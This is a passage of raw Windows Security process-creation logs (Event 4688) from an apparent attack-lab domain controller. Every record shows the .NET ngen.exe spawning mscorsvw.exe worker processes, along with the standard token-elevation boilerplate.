security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254898 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1090 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 484 -InterruptEvent 0 -NGENProcess 3e0 -Pipe 408 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254897 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1344 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 444 -InterruptEvent 0 -NGENProcess 3e0 -Pipe 46c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254896 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x102c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 480 -InterruptEvent 0 -NGENProcess 408 -Pipe 440 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254908 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd00 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4bc -InterruptEvent 0 -NGENProcess 4c4 -Pipe 4c8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254907 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb68 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4c8 -InterruptEvent 0 -NGENProcess 4bc -Pipe 4c0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254906 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12c4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4b4 -InterruptEvent 0 -NGENProcess 4bc -Pipe 4d0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254905 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc6c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4d0 -InterruptEvent 0 -NGENProcess 4b4 -Pipe 4d4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254904 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf88 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3e0 -InterruptEvent 0 -NGENProcess 4b4 -Pipe 498 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254903 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbe0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4bc -InterruptEvent 0 -NGENProcess 4b4 -Pipe 4b8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254902 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb28 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 474 -InterruptEvent 0 -NGENProcess 490 -Pipe 47c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254901 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12d8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3e0 -InterruptEvent 0 -NGENProcess 490 -Pipe 438 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254900 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1340 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 438 -InterruptEvent 0 -NGENProcess 3e0 -Pipe 488 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:34 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254911 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10e8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4fc -InterruptEvent 0 -NGENProcess 44c -Pipe 4e4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:34 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254910 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x924 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4bc -InterruptEvent 0 -NGENProcess 4cc -Pipe 4f0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:34 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254909 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2ec - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4cc -InterruptEvent 0 -NGENProcess 4c4 -Pipe 4e0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:35 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254915 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12dc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 510 -InterruptEvent 0 -NGENProcess 4e8 -Pipe 4b0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:35 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254914 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeac - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4b0 -InterruptEvent 0 -NGENProcess 510 -Pipe 490 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:35 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254913 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x103c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4cc -InterruptEvent 0 -NGENProcess 510 -Pipe 44c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:35 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254912 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12a0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: 